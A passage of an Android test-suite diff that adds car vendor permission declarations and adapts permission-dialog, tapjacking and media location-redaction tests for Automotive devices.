+         android:label="@string/car_permission_label_use_car_watchdog"
+         android:description="@string/car_permission_desc_use_car_watchdog"/>
+    <permission android:name="android.car.permission.READ_CAR_VENDOR_PERMISSION_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_vendor_permission_info"
+         android:description="@string/car_permission_desc_vendor_permission_info"/>
+    <!-- Permission for vendor properties -->
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_WINDOW"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_window"
+         android:description="@string/car_permission_desc_get_car_vendor_category_window"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_WINDOW"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_window"
+         android:description="@string/car_permission_desc_set_car_vendor_category_window"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_DOOR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_door"
+         android:description="@string/car_permission_desc_get_car_vendor_category_door"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_DOOR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_door"
+         android:description="@string/car_permission_desc_set_car_vendor_category_door"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_SEAT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_seat"
+         android:description="@string/car_permission_desc_get_car_vendor_category_seat"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_SEAT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_seat"
+         android:description="@string/car_permission_desc_set_car_vendor_category_seat"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_MIRROR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_mirror"
+         android:description="@string/car_permission_desc_get_car_vendor_category_mirror"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_MIRROR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_mirror"
+         android:description="@string/car_permission_desc_set_car_vendor_category_mirror"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_info"
+         android:description="@string/car_permission_desc_get_car_vendor_category_info"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_info"
+         android:description="@string/car_permission_desc_set_car_vendor_category_info"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_ENGINE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_engine"
+         android:description="@string/car_permission_desc_get_car_vendor_category_engine"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_ENGINE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_engine"
+         android:description="@string/car_permission_desc_set_car_vendor_category_engine"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_HVAC"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_hvac"
+         android:description="@string/car_permission_desc_get_car_vendor_category_hvac"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_HVAC"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_hvac"
+         android:description="@string/car_permission_desc_set_car_vendor_category_hvac"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_LIGHT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_light"
+         android:description="@string/car_permission_desc_get_car_vendor_category_light"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_LIGHT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_light"
+         android:description="@string/car_permission_desc_set_car_vendor_category_light"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_1"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_1"
+         android:description="@string/car_permission_desc_get_car_vendor_category_1"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_1"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_1"
+         android:description="@string/car_permission_desc_set_car_vendor_category_1"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_2"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_2"
+         android:description="@string/car_permission_desc_get_car_vendor_category_2"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_2"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_2"
+         android:description="@string/car_permission_desc_set_car_vendor_category_2"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_3"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_3"
+         android:description="@string/car_permission_desc_get_car_vendor_category_3"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_3"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_3"
+         android:description="@string/car_permission_desc_set_car_vendor_category_3"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_4"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_4"
+         android:description="@string/car_permission_desc_get_car_vendor_category_4"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_4"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_4"
+         android:description="@string/car_permission_desc_set_car_vendor_category_4"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_5"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_5"
+         android:description="@string/car_permission_desc_get_car_vendor_category_5"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_5"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_5"
+         android:description="@string/car_permission_desc_set_car_vendor_category_5"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_6"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_6"
+         android:description="@string/car_permission_desc_get_car_vendor_category_6"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_6"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_6"
+         android:description="@string/car_permission_desc_set_car_vendor_category_6"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_7"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_7"
+         android:description="@string/car_permission_desc_get_car_vendor_category_7"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_7"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_7"
+         android:description="@string/car_permission_desc_set_car_vendor_category_7"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_8"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_8"
+         android:description="@string/car_permission_desc_get_car_vendor_category_8"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_8"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_8"
+         android:description="@string/car_permission_desc_set_car_vendor_category_8"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_9"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_9"
+         android:description="@string/car_permission_desc_get_car_vendor_category_9"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_9"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_9"
+         android:description="@string/car_permission_desc_set_car_vendor_category_9"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_10"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_10"
+         android:description="@string/car_permission_desc_get_car_vendor_category_10"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_10"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_10"
+         android:description="@string/car_permission_desc_set_car_vendor_category_10"/>
 
     <permission
         android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 18224dd..5450014 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -66,8 +66,8 @@
             = "android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS";
 
     private static final Date MANAGE_COMPANION_DEVICES_PATCH_DATE = parseDate("2020-07-01");
-    private static final String MANAGE_COMPANION_DEVICES_PERMISSION =
-            "android.Manifest.permission.MANAGE_COMPANION_DEVICES";
+    private static final String MANAGE_COMPANION_DEVICES_PERMISSION
+            = "android.permission.MANAGE_COMPANION_DEVICES";
 
     private static final String LOG_TAG = "PermissionProtectionTest";
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 47c1323..f4f97f71 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -21,6 +21,11 @@
 import android.content.Context
 import android.content.Intent
 import android.content.pm.PackageManager
+import android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE
+import android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE
+import android.content.pm.PackageManager.MATCH_SYSTEM_ONLY
+import android.content.pm.ResolveInfo
+import android.content.res.Resources
 import android.provider.Settings
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
@@ -52,6 +57,8 @@
     protected val uiAutomation: UiAutomation = instrumentation.uiAutomation
     protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
     protected val packageManager: PackageManager = context.packageManager
+    private val mPermissionControllerResources: Resources = context.createPackageContext(
+            getPermissionControllerPackageName(), 0).resources
 
     @get:Rule
     val activityRule = ActivityTestRule(StartForFutureActivity::class.java, false, false)
@@ -87,6 +94,27 @@
         pressHome()
     }
 
+    protected fun getPermissionControllerString(res: String): String =
+            mPermissionControllerResources.getString(mPermissionControllerResources
+                    .getIdentifier(res, "string", "com.android.permissioncontroller"))
+
+    private fun getPermissionControllerPackageName(): String {
+        val intent = Intent("android.intent.action.MANAGE_PERMISSIONS")
+        intent.addCategory(Intent.CATEGORY_DEFAULT)
+        val packageManager: PackageManager = context.getPackageManager()
+        val matches: List<ResolveInfo> = packageManager.queryIntentActivities(intent,
+                MATCH_SYSTEM_ONLY or MATCH_DIRECT_BOOT_AWARE or MATCH_DIRECT_BOOT_UNAWARE)
+        return if (matches.size == 1) {
+            val resolveInfo: ResolveInfo = matches[0]
+            if (!resolveInfo.activityInfo.applicationInfo.isPrivilegedApp()) {
+                throw RuntimeException("The permissions manager must be a privileged app")
+            }
+            matches[0].activityInfo.packageName
+        } else {
+            throw RuntimeException("There must be exactly one permissions manager; found $matches")
+        }
+    }
+
     protected fun installPackage(
         apkPath: String,
         reinstall: Boolean = false,
@@ -117,8 +145,8 @@
         return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
     }
 
-    protected fun click(selector: BySelector) {
-        waitFindObject(selector).click()
+    protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+        waitFindObject(selector, timeoutMillis).click()
         waitForIdle()
     }
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 1f074fc..25e8962 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -68,6 +68,13 @@
         const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON =
                 "com.android.permissioncontroller:" +
                         "id/permission_no_upgrade_and_dont_ask_again_button"
+
+        const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
+        const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
+        const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
+        const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
+                "grant_dialog_button_deny_and_dont_ask_again"
+        const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT = "grant_dialog_button_no_upgrade"
     }
 
     enum class PermissionState {
@@ -78,6 +85,7 @@
 
     protected val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
     protected val isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)
+    protected val isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
 
     private val platformResources = context.createPackageContext("android", 0).resources
     private val permissionToLabelResNameMap =
@@ -192,11 +200,21 @@
     protected fun clearTargetSdkWarning() =
         click(By.res("android:id/button1"))
 
-    protected fun clickPermissionReviewContinue() =
-        click(By.res("com.android.permissioncontroller:id/continue_button"))
+    protected fun clickPermissionReviewContinue() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("review_button_continue")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/continue_button"))
+        }
+    }
 
-    protected fun clickPermissionReviewCancel() =
-        click(By.res("com.android.permissioncontroller:id/cancel_button"))
+    protected fun clickPermissionReviewCancel() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("review_button_cancel")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/cancel_button"))
+        }
+    }
 
     protected fun approvePermissionReview() {
         startAppActivityAndAssertResultCode(Activity.RESULT_OK) {
@@ -300,30 +318,55 @@
         block
     )
 
-    protected fun clickPermissionRequestAllowButton() =
-        click(By.res(ALLOW_BUTTON))
+    protected fun clickPermissionRequestAllowButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT)))
+        } else {
+            click(By.res(ALLOW_BUTTON))
+        }
+    }
 
     protected fun clickPermissionRequestSettingsLinkAndAllowAlways() {
+        clickPermissionRequestSettingsLink()
         eventually({
-            clickPermissionRequestSettingsLink()
             clickAllowAlwaysInSettings()
         }, TIMEOUT_MILLIS * 2)
         pressBack()
     }
 
     protected fun clickAllowAlwaysInSettings() {
-        click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("app_permission_button_allow_always")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+        }
     }
 
-    protected fun clickPermissionRequestAllowForegroundButton() =
-        click(By.res(ALLOW_FOREGROUND_BUTTON))
+    protected fun clickPermissionRequestAllowForegroundButton(timeoutMillis: Long = 10_000) {
+        if (isAutomotive) {
+            click(By.text(
+                    getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT)), timeoutMillis)
+        } else {
+            click(By.res(ALLOW_FOREGROUND_BUTTON), timeoutMillis)
+        }
+    }
 
-    protected fun clickPermissionRequestDenyButton() =
-        click(By.res(DENY_BUTTON))
+    protected fun clickPermissionRequestDenyButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(DENY_BUTTON_TEXT)))
+        } else {
+            click(By.res(DENY_BUTTON))
+        }
+    }
 
     protected fun clickPermissionRequestSettingsLinkAndDeny() {
         clickPermissionRequestSettingsLink()
-        click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("app_permission_button_deny")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+        }
+        waitForIdle()
         pressBack()
     }
 
@@ -331,9 +374,15 @@
         waitForIdle()
         eventually {
             // UiObject2 doesn't expose CharSequence.
-            val node = uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
-                    "com.android.permissioncontroller:id/detail_message"
-            )[0]
+            val node = if (isAutomotive) {
+                uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByText(
+                        "Allow in settings."
+                )[0]
+            } else {
+                uiAutomation.rootInActiveWindow.findAccessibilityNodeInfosByViewId(
+                        "com.android.permissioncontroller:id/detail_message"
+                )[0]
+            }
             assertTrue(node.isVisibleToUser)
             val text = node.text as Spanned
             val clickableSpan = text.getSpans(0, text.length, ClickableSpan::class.java)[0]
@@ -343,20 +392,25 @@
         waitForIdle()
     }
 
-    protected fun clickPermissionRequestDenyAndDontAskAgainButton() =
-        click(
-            By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON)
-        )
+    protected fun clickPermissionRequestDenyAndDontAskAgainButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+        } else {
+            click(By.res(DENY_AND_DONT_ASK_AGAIN_BUTTON))
+        }
+    }
 
+    // Only used in TV and Watch form factors
     protected fun clickPermissionRequestDontAskAgainButton() =
         click(By.res("com.android.permissioncontroller:id/permission_deny_dont_ask_again_button"))
 
-    protected fun clickPermissionRequestNoUpgradeButton() =
-        click(By.res(NO_UPGRADE_BUTTON))
-
-    protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() = click(
-        By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON)
-    )
+    protected fun clickPermissionRequestNoUpgradeAndDontAskAgainButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT)))
+        } else {
+            click(By.res(NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON))
+        }
+    }
 
     protected fun grantAppPermissions(vararg permissions: String, targetSdk: Int = 30) {
         setAppPermissionState(*permissions, state = PermissionState.ALLOWED, isLegacyApp = false,
@@ -412,6 +466,10 @@
             }
             val wasGranted = if (isTv) {
                 false
+            } else if (isAutomotive) {
+                // Automotive doesn't support one time permissions, and thus
+                // won't show an "Ask every time" message
+                !waitFindObject(byTextRes(R.string.deny)).isChecked
             } else {
                 !(waitFindObject(byTextRes(R.string.deny)).isChecked ||
                     (!isLegacyApp && hasAskButton(permission) &&
@@ -423,24 +481,34 @@
             } else {
                 val button = waitFindObject(
                     byTextRes(
-                        when (state) {
-                            PermissionState.ALLOWED ->
-                                if (showsForegroundOnlyButton(permission)) {
-                                    R.string.allow_foreground
-                                } else if (isMediaStorageButton(permission, targetSdk)) {
-                                    R.string.allow_media_storage
-                                } else if (isAllStorageButton(permission, targetSdk)) {
-                                    R.string.allow_external_storage
-                                } else {
-                                    R.string.allow
-                                }
-                            PermissionState.DENIED ->
-                                if (!isLegacyApp && hasAskButton(permission)) {
-                                    R.string.ask
-                                } else {
-                                    R.string.deny
-                                }
-                            PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                        if (isAutomotive) {
+                            // Automotive doesn't support one time permissions, and thus
+                            // won't show an "Ask every time" message
+                            when (state) {
+                                PermissionState.ALLOWED -> R.string.allow
+                                PermissionState.DENIED -> R.string.deny
+                                PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                            }
+                        } else {
+                            when (state) {
+                                PermissionState.ALLOWED ->
+                                    if (showsForegroundOnlyButton(permission)) {
+                                        R.string.allow_foreground
+                                    } else if (isMediaStorageButton(permission, targetSdk)) {
+                                        R.string.allow_media_storage
+                                    } else if (isAllStorageButton(permission, targetSdk)) {
+                                        R.string.allow_external_storage
+                                    } else {
+                                        R.string.allow
+                                    }
+                                PermissionState.DENIED ->
+                                    if (!isLegacyApp && hasAskButton(permission)) {
+                                        R.string.ask
+                                    } else {
+                                        R.string.deny
+                                    }
+                                PermissionState.DENIED_WITH_PREJUDICE -> R.string.deny
+                            }
                         }
                     )
                 )
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 01b4058..f2f2a10 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -45,7 +45,7 @@
             SystemUtil.eventually({
                 if (packageManager.checkPermission(ACCESS_FINE_LOCATION, APP_PACKAGE_NAME) ==
                         PackageManager.PERMISSION_DENIED) {
-                    waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 100).click()
+                    clickPermissionRequestAllowForegroundButton(100)
                 }
                 assertAppHasPermission(ACCESS_FINE_LOCATION, true)
             }, 10000)
@@ -54,6 +54,10 @@
         }
         // Permission should not be granted and dialog should still be showing
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
-        waitFindObject(By.res(ALLOW_FOREGROUND_BUTTON), 1000)
+
+        // On Automotive the dialog gets closed by the tapjacking activity popping up
+        if (!isAutomotive) {
+            clickPermissionRequestAllowForegroundButton()
+        }
     }
 }
\ No newline at end of file
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
index e5a5ede..5d13748 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest29.kt
@@ -161,7 +161,11 @@
         clickPermissionRequestSettingsLink()
         eventually {
             pressBack()
-            waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            if (isAutomotive) {
+                waitFindObject(By.textContains("Allow in settings."), 100)
+            } else {
+                waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            }
         }
     }
 
@@ -181,8 +185,9 @@
             android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
         ) {
             clickPermissionRequestSettingsLinkAndDeny()
+            waitForIdle()
+            pressBack()
         }
-        pressBack()
 
         assertAppHasPermission(android.Manifest.permission.ACCESS_FINE_LOCATION, false)
         assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, false)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 0abae86..1272355 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -49,6 +49,7 @@
 
         requestAppPermissionsAndAssertResult(ACCESS_BACKGROUND_LOCATION to true) {
             clickAllowAlwaysInSettings()
+            waitForIdle()
             pressBack()
         }
     }
diff --git a/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4 b/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4
new file mode 100644
index 0000000..5b307e2
--- /dev/null
+++ b/tests/tests/provider/res/raw/moov-at-end-zero-len.mp4
Binary files differ
diff --git a/tests/tests/provider/res/raw/moov-at-end.mp4 b/tests/tests/provider/res/raw/moov-at-end.mp4
new file mode 100644
index 0000000..cdf74b5
--- /dev/null
+++ b/tests/tests/provider/res/raw/moov-at-end.mp4
Binary files differ
diff --git a/tests/tests/provider/res/raw/testvideo_meta.mp4 b/tests/tests/provider/res/raw/testvideo_meta.mp4
index 8f04b40..e83c61d 100644
--- a/tests/tests/provider/res/raw/testvideo_meta.mp4
+++ b/tests/tests/provider/res/raw/testvideo_meta.mp4
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index 9e4f80b..942d4f4 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -255,11 +255,21 @@
         if (userManager.isSystemUser() &&
                     FileUtils.contains(Environment.getStorageDirectory(), file)) {
             executeShellCommand("mkdir -p " + file.getParent());
+            waitUntilExists(file.getParentFile());
             try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
                 final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
                 final long skip = afd.getStartOffset();
                 final long count = afd.getLength();
 
+                try {
+                    // Try to create the file as calling package so that calling package remains
+                    // as owner of the file.
+                    file.createNewFile();
+                } catch (IOException ignored) {
+                    // Apps can't create files in other app's private directories, but shell can. If
+                    // file creation fails, we ignore and let `dd` command create it instead.
+                }
+
                 executeShellCommand(String.format("dd bs=1 if=%s skip=%d count=%d of=%s",
                         source.getAbsolutePath(), skip, count, file.getAbsolutePath()));
 
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index 75ea4e4..1d18a8a 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -297,8 +297,6 @@
      */
     @Test
     public void testUpdateAndReplace() throws Exception {
-        Assume.assumeFalse(mVolumeName.equals(MediaStore.VOLUME_EXTERNAL));
-
         File dir = mContext.getSystemService(StorageManager.class)
                 .getStorageVolume(mExternalImages).getDirectory();
         File dcimDir = new File(dir, Environment.DIRECTORY_DCIM);
@@ -336,8 +334,6 @@
 
     @Test
     public void testUpsert() throws Exception {
-        Assume.assumeFalse(mVolumeName.equals(MediaStore.VOLUME_EXTERNAL));
-
         File dir = mContext.getSystemService(StorageManager.class)
                 .getStorageVolume(mExternalImages).getDirectory();
         File dcimDir = new File(dir, Environment.DIRECTORY_DCIM);
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
index 0fa99ca..88295eb 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_MediaTest.java
@@ -258,29 +258,45 @@
         // STOPSHIP: remove this once isolated storage is always enabled
         Assume.assumeTrue(StorageManager.hasIsolatedStorage());
 
-        final Uri publishUri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
-                "video/mp4");
+        // These videos have all had their ISO location metadata (in the (c)xyz box) artificially
+        // modified to +58.0000+011.0000 (middle of Skagerrak).
+        int[] videoIds = new int[] {
+            R.raw.testvideo_meta,
+            R.raw.moov_at_end,
+            R.raw.moov_at_end_zero_len,
+        };
+        Uri[] uris = new Uri[videoIds.length];
+        for (int i = 0; i < videoIds.length; i++) {
+            uris[i] = ProviderTestUtils.stageMedia(videoIds[i], mExternalVideo, "video/mp4");
+        }
 
-        // Since we own the video, we should be able to see the location
-        // we ourselves contributed
-        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
-                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(pfd.getFileDescriptor());
-            assertEquals("+37.4217-122.0834/",
-                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+        for (int i = 0; i < uris.length; i++) {
+            // Since we own the video, we should be able to see the location
+            // we ourselves contributed
+            try (ParcelFileDescriptor pfd = mContentResolver.openFile(uris[i], "r", null);
+                    MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+                mmr.setDataSource(pfd.getFileDescriptor());
+                assertEquals("+58.0000+011.0000/",
+                        mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+                assertEquals("2",
+                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+            }
         }
 
         // Revoke location access and remove ownership, which means that location should be redacted
         ProviderTestUtils.revokeMediaLocationPermission(mContext);
-        ProviderTestUtils.clearOwner(publishUri);
 
-        try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
-                MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
-            mmr.setDataSource(pfd.getFileDescriptor());
-            assertEquals(null,
-                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
-            assertEquals("2", mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+        for (int i = 0; i < uris.length; i++) {
+            ProviderTestUtils.clearOwner(uris[i]);
+
+            try (ParcelFileDescriptor pfd = mContentResolver.openFile(uris[i], "r", null);
+                    MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+                mmr.setDataSource(pfd.getFileDescriptor());
+                assertEquals(null,
+                        mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_LOCATION));
+                assertEquals("2",
+                    mmr.extractMetadata(MediaMetadataRetriever.METADATA_KEY_NUM_TRACKS));
+            }
         }
     }
 
